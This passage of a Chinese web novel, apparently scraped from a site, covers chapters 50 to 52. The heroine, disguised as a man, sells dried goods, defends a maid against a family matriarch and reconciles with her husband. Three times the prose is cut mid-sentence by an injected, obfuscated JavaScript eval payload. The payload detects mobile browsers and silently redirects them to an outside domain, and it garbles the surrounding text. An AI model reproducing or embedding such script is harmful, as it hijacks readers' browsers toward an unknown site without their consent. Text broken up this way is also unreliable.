稳定收益除了靠回头客，便是开拓新客源，最好是大客户，搭上特定铺子的供货，何愁没有销路。 如此想着，振奋精神一家家相关铺子问过去。 她想找稳定客源，有门脸的铺子却不愿和没保障的小贩合作，一路尽是碰壁。 正焦头烂额，转角遇见梁宸满面春风迎上来，打眼一瞧她背篓里的余货，嘚瑟道“哟，还有这么多，看来太阳落山前是卖不完咯！” 季灵儿狐疑看他：“怎么，你卖完了？” 梁宸抖着手里的空篓子炫耀，“何止卖完，还和干果铺子定了往后一月的供货。” 竟让他谈成了。 季灵儿不愿多看他得意，扭身要走。 梁宸勾着她的篓筐边把人扯回来，“别急着走啊，你说两句好话求我，指不定我心情好，顺手替你将这些货出了。” “做梦！”季灵儿狠狠瞪一眼，挣着往前走。 正使劲，梁宸突然松手，她整个人踉跄着往前扑倒，篓中货物散落一地。 梁宸笑得更欢，讥笑道：“脾气这么大，活该卖不完。” 季灵儿咬牙爬起来，闷声不吭捡着货物往篓中塞。 梁宸俯看她狼狈的模样，比谈成供货畅快十分，蹲下身捡起一枚柿饼拍干净，懒洋洋道：“西街有人在采买节礼，你若赶去得早，兴许能有收获。” “你有这么好心？” 季灵儿猛然顿住，再看过去，梁宸仍是一副幸灾乐祸的模样。 “对你算施舍。” “你——你等着！”再气不能和赚银子过不去，季灵儿深呼吸压制心头火气，攥紧篓筐走开。 直到她身影消失，梁宸垂眸看着捏在手里的柿饼，咬下一大口。 季灵儿赶到西街，没找到所谓采买节礼的人，倒是看见一家挂着清仓招牌的干货铺子，几个穿粗布衣裳的伙计正往外搬货。 凑近打听，原是铺子里货物积压太久，掌柜的急着回本欲低价处理，搬出来的全是坏掉的部分。 库中有积压，想来不会再进新货。 季灵儿走出去好长一段，忽而折返，寻到那家掌柜。 “你要替我卖货？”掌柜是个身量不高的中年男子，听笑话似的看着她，眼角眯起两堆褶，“我店里不缺伙计。” 季灵儿：“我并非应征伙计，我来同您谈买卖。” “那就更不需要了。”掌柜摆摆手，轰她往外走。 季灵儿嚷道：“我有一门不让货品贱卖的法子。” 掌柜好奇：“哦？说来听听。” 季灵儿浅浅弯出一抹笑：“我若说了，掌柜照我的法子卖了货，回过头不认账可怎么办？” “你想如何？” 季灵儿取下背篓放地上，“你买下我这筐柿饼，我为你卖货作添头，无论卖货结果如何，两头不亏，如何？” 掌柜打量一眼，见柿饼品相还成，问过价格亦不算贵，点头应下。 交易落定，季灵儿简要同掌柜说了法子，“掌柜只管照我说的准备，明日一早，我准时来帮你卖货。” 50. 撑腰 翌日清早，季灵儿装了半车村民编织的小竹篮，独自赶驴车到镇上。 掌柜已照商定，命伙计们将压仓的干货重新归置，按照不同功效称两搭配，待她来，整齐码进铺垫油纸的竹篮中。 另外备了不同颜色的绸带，裁为细长条系在竹篮提手上，最后配手写笺条注名。 令季灵儿不太满意的亦是这最后一步，她通诗书，但肚中文墨有限，取来的名字直白通俗，反倒失了一番搭配的雅致气韵。 掌柜乃是人精，一眼瞧出她踌躇为何，提议道：“我那女儿最爱风雅的诗文杂事，或可以让她题几个名字。” 季灵儿眸光乍亮，当即应下。 掌柜不好叫女儿抛头露面，每样选一篮令伙计提到后院题字，季灵儿则转向铺子外的摊位。 摊位旁已支起小泥炉，她便在炉火旁，拿陈年干菇和老笋等与米同煨，当街煮出一锅粥。 此法新奇，加之粥气飘香，引来不少路人驻足。 那厢小姐的题字亦妥当，陆续拿来分放竹篮，季灵儿仔细看了，字迹颇为娟秀，比她执笔更雅致几分，且每名皆化用古句典故，颇有意趣。 她尤喜欢配的是松叶，松子仁和粳米的“松月照归人”一则，看时脑海里不由浮现一幅月下山径，松影婆娑的画面，煮粥蒸腾出的热气氤氲成雾，像极了遮掩皎月的薄云。 画面愈发清晰，竟是秦劭从清心庵接她那夜的复现。 如此想着，鼻尖甚至能嗅到熟悉的松香。 她煮的是笋粥，哪里来的松香！ 季灵儿甩甩脑袋，将精力重新放回滚着白沫的粥锅里。 随即，她想起那夜回秦府后，他也命人煮了粥...... 心口被什么细细挠着，痒得慌，却又是舒服的，愉悦的，像从前师父逗她挠痒痒肉一般。 可她第一瞬想起的并不是那位师父。 而是秦劭喝粥时，眉目低垂的侧影。 好在一旁有伙计提醒，她终于从糟乱思绪中回神，将煮好的粥盛到先前准备的竹筒里，吆喝着给围观路人品尝。 竹筒量小，几口便用完，在唇齿间留下令人意犹未尽的香气，勾得品尝者回味，好奇多问几句摊上卖的是何粥。 话匣子打开，季灵儿再顾不得瞎想，笑着同人介绍，随即引着客官们的视线往摊位上的竹篮去，那篮中各色干货皆可入粥，配什么，养什么，一一细说。 并道：“客官买回去，不仅不必操心搭配，待里头东西用完，篮子还可留作他用，岂非划算？” 有人为意趣来，有人为试吃来，有人为凑热闹......日头渐高，围观人次一圈叠一圈，甚至引来近邻的同行观望打探。 他们往年只是干巴巴地摆摊叫卖，价格一降再降于事无补，从未想过还能这样卖。 再听价格，与寻常货价相差无几，即便送了竹篮，亦比贱卖多获利好几成。 其中一个朝人群中的季灵儿扬了扬下巴，道：“没见过这伙计，老冯哪里请来的神兵？” 旁边人探头辨认少顷，恍然一合掌，“我昨日见过，他来我铺子里说什么合作，被我打发了.......”说到后面懊恼顿足，“早知是这等人物，该留他坐上席才是！” 日影斜过三竿，装好的竹篮尽数售空，季灵儿寻掌柜拿说好的竹篮部分银钱，清点时发现多出两串铜钱。 掌柜心情极好，笑得见牙不见眼：“公子劳累半日，这点添头，权作润嗓的茶钱。” 季灵儿笑着道谢，将铜钱仔细收进袖袋，又问：“那咱昨日说的供货之事？” “契约已备好，咱去内堂细谈。”掌柜说着，朝里做了个请的手势。 ... 季灵儿架着驴车出镇子，心念一转，拉扯缰绳拐向另一条土路，挥鞭驱着驴子加快脚步，踏起一溜烟尘疾行而去。 抵达秦府角门，天际仅余最后一线晚霞，彩绸一般撕裂暮色，叩响门环，小厮认出是她诧异行礼，敞开门迎她进来。 步子轻快径直往大房院子回，院中洒扫的丫鬟小厮见到她亦是满面讶然，有人甚至慌乱掉了扫帚，忙不迭低头行礼。 季灵儿始觉不对劲，进主屋环顾无人，到廊下唤来一名丫鬟盘问：“大爷呢？怎么也不见玉秀和秋棠？” 丫鬟战战兢兢道：“大爷尚未归家，玉秀和秋棠被唤到老夫人院里了......” “所为何？” 丫鬟支吾不敢答。 季灵儿顾不得换行头，直奔正院去。 刚到门前闻听尖利声音隔着帘子传来：“当着你祖母的面，你还要维护这贱婢不成？” 是三夫人，她每每控制不住情绪声音便拔得极高，势要把天捅个窟窿。 嗓子都急得冒烟了，回话的却是一派风轻云淡：“儿子说了将她收房，母亲偏要闹到祖母跟前，还求着祖母发落，她终究是大嫂嫂的陪嫁丫鬟，这般闹法，岂不让祖母难做？” “你还知道她是陪嫁丫鬟——”三夫人驳斥的话刚出口，被掀帘进来的动静打断。 大伙见季灵儿进来皆是一愣，争论声戛然而止，无一不盯她通身打扮看，粗布短衣沾着尘土，乌发高束成冠，若在外头遇见，定然将其当个小伙计打发了。 季灵儿先瞧了跪在地上的人，玉秀头几乎垂到胸前，发髻歪斜，散落的青丝半掩脸颊指痕。 秋棠倒没什么异样，只一双眼通红。 老夫人无暇顾及季灵儿这身装扮，盘着珠串的动作顿住，语气尚算平和：“你回来的正好，这丫头的事你可知情？” 凭着眼下情形季灵儿猜出几分，不敢妄下结论，压着心头翻涌的错愕，施礼道：“请祖母明示。” “宗勉欲收了她到房里伺候。” “我并不知情，”季灵儿如实道，回眸看向秦勉，他从容站着，面上端着与素日相同的不羁，活像一个看客而非局中人。 季灵儿收回视线，乖顺唤了声祖母，“我可否问两句？” 老夫人颔首，示意她自便。 “你可自愿？” 她问的平静，却打水漂似地砸起一串水花。 玉秀慌张抬头，蓄着满眼泪水仰望她，受宠若惊太过，根本无法思索和回答她的一问。 季灵儿目光沉静，专注等她回答。 三夫人闻言气得嘴唇发抖，“她一个下人勾.引爷们，都爬上榻了，你竟问什么自愿不自愿，她不自愿，难不成是我们宗勉强迫她？” 季灵儿唇角微扬，余光瞄 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16524591|184104||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 着秦勉道：“那可未必。” “你！你素日就是如此纵着底下人的？难怪养出这等不知廉耻的贱婢！”三夫人面色涨红，染了豆蔻的指甲离季灵儿鼻尖仅分毫。 季灵儿不卑不亢道：“下人也是人，女子的托付是大事，自要问个清楚明白，我断不会叫身边人白受委屈。” 说罢蹲身与玉秀平视：“你照实说，究竟如何？” 玉秀偷眼去瞧秦勉，恰与他视线相碰，只刹那，她清晰看见他眼尾弧度上扬，眸里盛的，是每次给她下羞人命令时才有的笑意，蛊惑至极，骇人至极。 她不敢多看，臊着脸小声道：“是奴婢自愿跟着三少爷的......” “当真？”季灵儿顺她视线回眸，秦勉漫不经心挪回目光，兀自整理袖口。 他刚发现上面有小片洇湿后的深痕，粘着已然干掉的白渍。 指腹摩挲过污迹，他听见玉秀低低地一声“嗯”，紧接着是另一道清亮嗓音唤他。 “小叔叔意思呢？” 秦勉懒懒抬眼，“我说过，愿意收她。” 得了二人首肯，季灵儿转回老夫人跟前，柔声道：“既是两厢情愿，祖母便做主成全了吧。” 担心老夫人不依，卖乖地半蹲到她膝前，“当芮宁向您讨个恩典，成吗？” 三夫人生怕老夫人纵容她，急急开口：“母亲三思！今日开这乱规矩的先例，往后院子里不知要乱成什么模样呐，况且宗勉尚未成亲......” 说急了，怒气直蹿脑门，眼前竟有些发昏。 “你且坐。”老夫人给吴嬷嬷使个眼色，后者会意去扶三夫人。 随后拍拍季灵儿的手，缓声道：“家中规矩，爷们未娶妻不得先纳妾。宗勉尚未定亲，此时收房实为不妥，此事暂且搁下，待他娶妻后再议不迟。” 季灵儿垂眸想了半晌，接道：“让小叔叔娶玉秀做正室，便不坏规矩了。” 老夫人的“不可”尚未出口，三夫人惊得从凳子上弹起来，鬓边珠钗颤动不止，嚷道：“侄媳妇莫不是疯了！纳妾已是抬举她，容一个丫鬟做正室，传出去必得让人笑掉大牙！” 且不论丫鬟出身卑贱，这丫头既是陪嫁，难说是否伺候过屋里爷们。三夫人原是不愿让儿子收房，又拗不过，才来求老夫人做主，如今竟要当正室，简直是滑天下之大稽！ 此刻恨得牙根发痒，心里那点对大房，对秦劭的顾虑尽数抛却，连老夫人的制止也不顾。 尖声斥道：“你莫要仗着母亲和宗劭疼爱就为所欲为，自己管教无方闹出难堪不够，还要为个丫鬟随意作践我们，我今日便把话撂在这儿，这等荒唐事，我绝不答应！” 玉秀膝行两步，惶恐看向季灵儿，声音抖得不成调，“少夫人，奴婢自知出身低微，不敢肖想......” “啪！”狠狠一记巴掌狠狠甩断玉秀的话。 “贱婢，这里哪有你说话的份！”三夫人不能对季灵儿动手，便将气撒她身上，力气用大了掌心阵阵发麻。 玉秀身子不受力地歪倒在地，原来的印子再添红痕，赫然几道血印子肿在脸上。 季灵儿瞳孔骤缩，欲起身去扶她，被站在一旁的秦勉抢了先。 “母亲过分了。” 51. 春夜 季灵儿听三夫人轻贱玉秀愈发来气，铁心为玉秀讨名分，刚铆足劲头，秦劭打帘子进来。隐隐期待他能替自己撑腰，吵赢这一场，捧着满脸热切向他求助。 “夫君。”甚至故意拐出尾音。 秦劭在她跟前驻足，朝座上老夫人问过安，道：“是我管教不当，望祖母和三婶娘见谅，此事容后再议。” 轻飘飘一句压下所有争辩，扣紧季灵儿手腕往外带。 季灵儿尚未从与预想的落差中回神，人已被拽出战场，骤觉腕骨疼痛，气哼哼拿另一只手拍他：“你放开，我自己会走。” 秦劭松了手，确认她不会再闹，放缓步子继续往自家院子去。 季灵儿憋着一肚子怨气落在几步外，只差在他背后瞪穿几个洞。 至屋内，秦劭敛袍落座，压低眉峰抬眼，收尽小姑娘满脸愤懑，尚未开口，身后跟进来的两个丫鬟齐刷刷跪到跟前请罪。 他顿觉头疼，尽力缓和语气对唯一站着的人儿道：“你先坐。” 季灵儿梗着脖子不肯，怄气道：“您要发落，连我一块发落了吧！” 秦劭莫名：“我何时说要发落她们？” “您拦我，就是这意思。” 秦劭弄不明白出她气从何来，摆手示意两个小的退下，待满室寂静无奈开口：“三婶娘拿宗勉当命根子，甚至看得比命重，我不拦着，由你这般闹下去，只会将玉秀往死路上逼。” 季灵儿眨着眼看他，后知后觉思索起其中利害。 “你护短，想为玉秀讨说法，可她日后总是要在三婶娘眼皮子底下过日子的，今日你争赢了，来日呢，三婶娘这股子气能消弭于无形么？你又护得了她多久？” 秦劭亦恨铁不成钢，气她屡教不改，更气她不动脑子便给自己安罪名，说到后来语气不觉染上严厉。 意识到冲动的后果，季灵儿气焰灭尽，垂手立在他跟前，头越勾越低，变回受训的弟子模样。 “我......”下意识想为自己辩解却找不到说辞。 如此简单的道理，小姑娘但凡冷静些定想的明白，偏每次被好胜心一冲，便只顾着出风头，全然不虑后果。 秦劭瞧她如此，到底心疼更胜，多余的苛责融进心坎，唯余一声杂糅万千情绪的：“你呀......” “我知错了，我认罚。”鸦羽低垂，掷地有声，态度一如既往地诚恳。 倾身将她扣在一起的葇夷捉入掌心，人也被带到他膝上，离得近了，话音自然轻下来。 “罚你有用吗？” 季灵儿颇有自知之明地摇了摇头，反将秦劭气笑了。 “看来我得研究些有用的法子。” ... 气氛渐渐缓和，季灵儿才敢仰头瞥他，玲珑鼻尖正巧抵着他下颌，见垂落的眸光已褪去冷意，便试探地挪动鼻尖蹭弄。 “夫君。” 微痒的触感令秦劭呼吸一滞，心里颇为受用，即便知她怀了别的心思，仍掩不住笑意：“怎么？” “玉秀的事......夫君打算如何处理？” “秦家规矩悬在头上，此事的确得暂时搁一搁——” 话没说完，季灵儿急得支起身子，视线直直与他相对：“从前你可是同我说，秦家规矩再大大不过你去。” 她拿这话堵得秦劭措手不及，半晌失笑道：“合着是我的话助长了你的气焰，惯的你没规矩？” 季灵儿心虚：“说玉秀，你扯我做什么。” 秦劭生意场上闯荡，擅长勘细节洞察人心，在她眸光闪躲的瞬间，透彻了进门时的疑惑。 沉吟着问：“那会子生气是因我没在三婶娘面前给你撑场子？” 季灵儿抿紧唇线不承认。 满心期盼的倚仗落了空，闹脾气在情理之中。 秦劭因这个念头心情舒展，温柔同她解释：“还是那道理，你为玉秀当众下三婶娘面子，我再顺着你会加重事态。” “我一直好声好气同她说话的，是她瞧不起人又动手。”道理懂，但季灵儿不认“下三婶娘面子”的指责。 “三弟婚事祖母尚不好直接做主，你直接给人家安排了，无论玉秀是何身份，这般越俎代庖都不妥当，不是下面子是什么？”秦劭试图同她说明白。 “前些日子央我替秦勉相看时怎么不嫌越俎代庖，说到底不还是嫌玉秀出身。”季灵儿本就憋着未了的闷气，话赶话说到此处，情绪再度泛起来，“没得把人姑娘清白毁了还趾高气扬指责姑娘不知廉耻爬床的。” “......”秦劭觉得二人论的不是一桩，再想往回扯为时已晚。 小姑娘气得不看他，作势要起身，“算了，我跟你说不明白。” 亏他眼疾手快将人揽回怀里，低哄：“你先说来。” “若玉秀是与秦家门当户对的闺秀，今日这事你们还拦不拦？” 秦劭不语。 季灵儿越说越气，连着秦劭一道恼进去：“再进一步，若她是个高官家的小姐，你们是不是还巴不得攀附？人心偏见，你们分明是欺凌玉秀出身不好，没个权势倚仗。” 秦劭总算听明白，她因提及身份扯出心底伤痛，静静听着任她发泄，思索从何处入手把人哄好。 怎料小姑娘话锋急转：“倘若我不是宋芮宁，不是大户人家的小姐，是不是也配不上进秦家的门，配不上做你秦大当家的妻子？” 说完目光灼灼盯着他，真似等着他答案。 “季凌。” 秦劭按在她腰间的手蓦然收紧，沉潭般的双眸翻涌波澜，慌乱映着她的影，他心神乱了，竟挑不出一句适合出口的话，只一味将人往怀里带。 她没有挣扎，顺着力道伏在他肩头。 她当真动了气，呼吸沉而急地扑进他颈间，耳畔，他的心跟着跳得失了章法。 秦劭努力平静，找回自己的声音安抚她：“季凌，我从没把你当作宋芮宁。” 却听她说：“我们和离吧。” 季灵儿不知如何向他剖白满心的委屈与不安，师父走后，她好不容易又得了一处心安之所，她贪心，自私，愈发舍不得告诉他真相。 兔死狐悲，玉秀的遭遇照出她心底最深的自卑，提醒她最残忍的真相：如今拥有的温暖是偷来的。 她以为自己早习惯了旁人的轻贱，直到此刻才意识到，这些依然能轻易刺得她千疮百孔。 最让她恐惧的，是剥去这一切的自己，配不上他给的珍重。 与其痛苦，不如先推开他。 她沉浸在自己的情绪中，根本没听见秦劭的话，说完不确定他是否听清，哑声重复了一遍。 “我想和离，你说过，只要我想就可以。” 两遍，秦劭字字听得清晰。 按着肩膀将人拉到面前，才见粉白鹅蛋脸上淌着两行清泪，眼角猩红晕在泪水中，如碎裂的朱砂，疼得他心口发紧。 “你今天突然回来是为了和离？” 他双手捧起她的脸，迫她看自己，亦让她真实的心思无处藏匿。 季灵儿静静看他，他凤眸狭长， ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16527910|184104||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 不着情绪时乌沉沉的，要训人时会泛出冷光，配合下压的眉头，形成冷峻刀锋，动情时可窥见眸光颤动，似割裂暮色透出的光芒，灼烫却灿烂勾人。 此刻非任何一种，又怪异地杂糅三者，她勉强读出几分克制与压抑，鼻尖忽地泛起酸涩，视线模糊，又看不真切他。 季灵儿总是没办法顶着他的注视扯谎，偏偏此刻折磨她的根源，是一场荒唐的谎言。 太痛苦，她无力地闭了眼，“好吧，是我想你了。” “我知道。” 秦劭紧绷的神经骤然松懈，轻盈吻去那湿热的痕迹，一路吻至唇瓣，夺走她的呜咽。 “唔......你做什么？”季灵儿险些缺氧，双手抵在胸膛推他。 这不是她预想中的进展。 “我们都冷静一下。” 话音落，不待她反应，他的吻再次落下，带着安抚的意味，又暗藏执拗。 掌心薄茧描着思念的轮廓摩挲，和深沉的吻一起辗转。 直到在她全身点了火，停下来问：“冷静了吗？” “......”季灵儿挂着满脸潮红瞪他。 “看来是没有。”秦劭抿了一抹笑，继续埋头下去，她又开始抖。 边抖边唤夫君。 别这样别那样的推拒，逐渐变成这样那样的支使。 最终全数没入似怨似求的呜咽。 烛光将缠绕的影子映上帷幔，烛火摇曳，帷幔激荡，交叠的影子翻覆不止......春夜总漫长。 ... 清晨，余韵褪去的季灵儿倒真冷静不少，唤来玉秀细问详情。 “何时开始的？” 玉秀：“先前三少爷向奴婢问小姐下落的时候。” “难怪你那时说的含糊，可他不是倾慕你家小姐吗？”季灵儿对此有印象，回想之下脸色更难看：“他强迫你？” “开始奴婢的确怕事情败露，后来，后来奴婢也存了私心......不敢恬脸说强迫。” 季灵儿没多追究二人幽会细节，只问：“你可想好了，跟着他，少不得受人冷眼。” 玉秀扯了扯嘴角，眼里自嘲与凄然参半：“做丫鬟的哪日不是看人脸色过活，奴婢心里省的自己求什么，苦也是自找的，奴婢认。” “你自己想得明白就成。”季灵儿不多劝，“不过大爷的意思是此事急不得，你且得再委屈些时日，眼下先在咱院里腾出间正经屋子住，等事情商定再让秦勉抬你进门，不教你没名没分跟着他。” * 秦家祠堂。 老夫人燃三炷香供于神位前，合手默祷拜了三拜，再回身，脸上凝着霜色，不复平日慈和。 “跪下。” 屋内无旁人，秦劭自觉屈膝，跪在蒲团上，却迟迟不开口。 “当着你祖父，你爹，和秦家先祖之面说说罢，都瞒了我这老婆子什么？”老夫人目光一一敬过秦家先祖牌位，布满沟壑的手掌抚上最前端的神龛，“一五一十都交代了，别当我上年纪好糊弄。” 自秦劭掌家，后宅有方淑凤打理妥当，老夫人打了安享晚年的主意，鲜少过问琐事，为这个宝贝孙子娶妻算一桩。 昨日一闹，她夜间翻来覆去不得安寝，竟意外捋出理出些令人咂舌的猜测来，漏夜传吴嬷嬷到帐里说话，桩桩件件事翻倒出来再看，惊觉一切早有端倪。 她这看起来孝顺稳重的孙子，偷瞒了许多事，头一件便是她最记挂的亲事。 是以一大早把人叫来，势必将话问明白。 52. 红痕 人生三十载，秦劭头一次罚跪祠堂。 掌权数年的铮铮傲骨未这一跪折损半分，跪得如祠堂里的雕像，眸光直视正前方刻着父亲名字的牌位。 直觉告诉他，祖母对季灵儿的身份起疑，但于这件事，他问心无愧，没觉哪处不妥，不知从何说起。 “孙儿请祖母明示。” 老夫人满腹疑惑，不同他绕弯子：“你娶进门的，到底是不是宋家姑娘？” 秦劭诧异一瞬，坦然道：“不是，宋小姐不情愿这桩婚事，换她来顶替。” 老夫人面上颜色更厉：“是宋家姑娘不满意，还是你不满意我逼你成亲，偷梁换柱换了个可心的丫头顶上？” 沉静的眼眸显出波动，错愕看向老夫人：“祖母何出此言？” “为娶亲之事我催你数次，你始终推脱，成亲后却三番四次维护她，哼！我当你开窍，如今看来这般偏疼，断是早前便有了私情。” 老夫人年轻时跟着先老太爷经商，又在后宅熬半辈子，极有对人对情的敏锐度，从前过分相信孙儿性子，误以为他尊重夫人维护，看出蹊跷再细究，完全是另一段故事。 祖母出口一句赛过一句震撼，秦劭顾不得窘迫，开口澄清：“祖母误会了，她乃商行的弟子，成亲前并无逾矩的情分。” “你当真没诓我？”老夫人已不敢全信他的话。 凭她所见，他看孙媳妇的眼神，分明是藏了情的。 “孙儿不敢欺瞒。” “既知她不是真正的新娘子，为何不早早坦白？将错就错，不是你的作风。” “孙儿知晓时已同她拜过天地，宾客满堂，若将实情道出，秦宋两家皆要颜面扫地。况且这门亲事不单单关系两家，其中要害祖母比孙儿更清楚。” 去年秋里巡抚夫人办赏菊宴，邀了城中官眷命妇和有头脸的商贾家眷，席间是巡抚夫人主动提及秦家大公子一直未娶，有意保媒，牵的便是宋家的红线。 老夫人不完全明白巡抚夫人用意，亦知这七拐八绕的关系背后，少不了官府对商行势力的拉拢和渗透意图。 商行要立足，秦家要存续，不得不于官府维系关系。加之着急孙儿成亲，正借此内外施压，逼他应下与宋家的亲事。 宋家女儿逃婚，连累的是三家颜面，揭穿不是明智之举，并不意味只有将错就错一条路。 老夫人追问：“为何不私下同宋家说明，将人换回来？” 早在议亲之前，秦劭派人调查过宋家，知晓宋芮宁有位私定终身的情郎，二人私会频繁，宋芮宁逃婚亦是同情郎私奔。 而调查宋芮宁，是因秦勉欲娶她。 两桩事，一件关乎女子声誉，一件说来徒令祖母烦忧，秦劭只好沉默。 老夫人生出旁的理解：“你舍不得？” 他犹豫少许，应了这份不实的推测：“是。” 秦劭以为此事到此终了，殊不知老夫人掌握的信息远不止此。 府里的宋芮宁是假，华严寺上香路上遇见的那位，秦勉口中的“大嫂嫂娘家姊妹”，身份就很值得推敲。 她姓宋，且依稀报了宋芮宁的名字。 老夫人目光陡然锐利：“宗勉认得宋家姑娘的事，你亦知情？” “是。” 老夫人心说果然。秦勉可不似眼前这位沉稳，捏着天大的秘密不表露分毫，定是被敲打过。那才是个不安分的，否则也做不出勾搭大房陪嫁丫鬟这等荒唐事。 沿着一缕线头拉扯，能牵出一连串错乱丝团。 饶是已有心里准备，她仍觉心口发闷，怒气霎时翻涌，一手扶供台，一手抚在胸口缓平呼吸。 秦劭着急，欲起身搀扶。 “跪好了，不用你。” 左边膝盖刚离开蒲团，听得呵斥乖乖放回方才跪出的凹陷里。 老夫人呼吸沉且缓促，闷在香烛刺鼻的烟气中，似费力推拉风箱也难重燃的炭火余烬，听得他心中一阵发酸。 秦劭依旧不认为自己何处有错，但“他很不孝”的念头重重碾在心头。 老夫人缓过一阵，语气添了两分无力感：“日后如何打算？” “她心中有孙儿，孙儿亦爱重她，什么身份并不要紧。”秦劭答得郑重，无半分犹豫，显然早有打算。 老夫人自然以为是夫妻二人商定过的，遂问：“她也愿意？” 秦劭顿了顿，才道：“她......尚不知我已知情。” 老夫人一愣，随即不冷不热笑了一声：“你可真是自己拿主意拿惯了。” 问过话，老夫人气结更甚，罚秦劭在祠堂省过半日，让他反思错在何处。 跪是跪了，省也省了，秦劭始终没想明白，议亲，成亲，将错就错，每一件他都立足秦家，立足大局考虑，他问心无愧。 午时回房，已不见季灵儿身影。 “少夫人说赶着去卖货，一早便离府了。”玉秀禀道。 此话真假各占几分秦劭有数，隐约觉得她故意躲他。 原因无外乎两则，要么，担心他算私自归家的账，要么，怕再提及和离一事。 她敢跑回来便不会怕责罚，更可能是后者。 一想到和离，脑海全被季灵儿哭成泪人的模样占据，犹如春雨携风凌乱打在心头，坑洼里落红堆积，春愁无绪，他亦理不出所以然。 自以为了解她的脾性，可姑娘家心思如迷雾，勉强窥见轮廓，欲近前捉摸，唯有点滴寒气湿在掌心。 揉揉发胀的太阳穴落座，侧身向后倚，手掌摸到软枕下露出的油纸包一角。 应是昨日脱她衣服时掉出来，被他随手仍在一边的。 打开瞧，是压成碎渣的桃酥。 彼时她被吻的话音破碎，含糊说了句什么？ 秦劭盯着捻在指尖的碎渣，仔细回想季灵儿的话，拼凑起来应是“专程给你带的”此类。 抬手将碎渣抿在唇瓣，由舌尖卷入口中，甜味混着焦香，有些涩喉，却能牵起久久不绝的回味。 小口小口抿着，仿佛重回了吞噬她温度的时候。 身体内外的异样紧随着返上来，直到不容忽视的刹那，秦劭恍惚明白自己错在何处。 ... 今日是卖货的日子，季灵儿先赶马车到镇上和师兄们汇合。 有眼尖的一下瞧见她脖子上的红痕，打趣道：“难怪昨日不见小师弟，原来是寻得了好去处！” 季灵儿起初不明，旁边看热闹的师兄嬉笑着替她指。 指尖快触到时，她闪身避开，抬手掩了掩衣领，佯装镇静道：“蚊虫咬的。” “放心，咱们都懂，小师弟出息了！”师兄们看着她红透的耳根，轰然大笑。 季灵儿窘得说不出话，借着拉客躲进人群里。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16537889|184104||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 留在原地的好事者撞了下云衡肩膀，打探：“哎，你素日同小师弟走得最近，可知什么情况？是不是要有喜酒吃了？” 云衡神思追着仓惶逃离的背影消失，怔愣不答。 她已有十日未正经同他说话，除却必要交谈，眼神都避得干净。 他的一颗心已在沸水里煮干了，干得满是褶皱，仍殷殷期盼能得清泉润泽，只一小捧也好。 云衡未经历情事，凭着师兄弟们的调笑之辞猜出季灵儿颈间红痕为何故。可她素日并无亲密往来的男子，他见过的，能想到的，唯独那人。 最不可能的一个人。 不会的，一定是大伙弄错了，这群人兴头上出格的玩笑多如牛毛，这次定然也是。 云衡拿不同理由游说自己一整日，却愈发难安，再一次同她打照面事，终是忍不住：“我，我有话想问你。” 季灵儿约好帮阿婆做绣活，因贪觉起晚了不想再多耽搁，话音带着急切：“晚些说。” 云衡误会她不耐烦，失落垂眸：“我不缠着你，就是......就是担心，想问问清楚。” 他说话失了往日神采，季灵儿察觉，转向他柔声解释：“我没那意思，只是怕阿婆等急，你若着急咱们一道走，路上说？” 仅仅一句温和的回应，落在云衡心头却如春露，心房瞬间润开几道小孔，呼吸重新变得轻缓，连带着眼角沾了水汽。 “不好在外头说，我，我等你回来。” 季灵儿匆匆应了，转身往阿婆家小跑而去。 她心急，未曾在意云衡说等她回来时眸中阒然亮起的微光。 阿婆留了季灵儿在家中用午膳，饭后又拉着她绣花样。 新料子拿在手里，阿婆笑着问她：“你可有喜欢的纹样，这个照你喜欢的绣，完成了给你。” 季灵儿：“做一个虎头帽多费功夫，您留着卖钱吧，给我用不到未免浪费。” 阿婆拍着她的手背连说用得到，“等你将来嫁人有孩子不就用上了。” “嫁，嫁什么人，”季灵儿险些露怯，“我可是个男子。” 阿婆笑：“傻孩子，我活了大半辈子，带大多少奶娃娃，还能看不出你个丫头？再说，有几个男人家能踏踏实实坐下来陪老婆子绣花的。” 季灵儿尴尬地捻着手中丝线，“我还以为瞒的好呢，没想到您眼睛比绣针还细，早瞧破了。” “放心，我没同旁人讲，”阿婆逗趣地朝她递个眼神，“前次有人看上你做的那顶虎头帽，我也只说是位小公子做的，可把他愣住了。” 明了阿婆说的是秦劭，季灵儿不禁笑起来，问：“他可说什么了？” “夸你手艺好，独特......”阿婆记得零星，最后补道：“反正是欢喜的紧，非得拿银子买走。” 俩人说说笑笑，时间匆匆流逝而不察。 直到日头偏西，季灵儿才返回住处，遥遥看见云衡坐在门前石墩子上，手里攥着一根枯枝在土地上划拉。 他在写季凌。 一遍遍擦掉，一遍遍重写，脚下这块土比别处浅上数层。 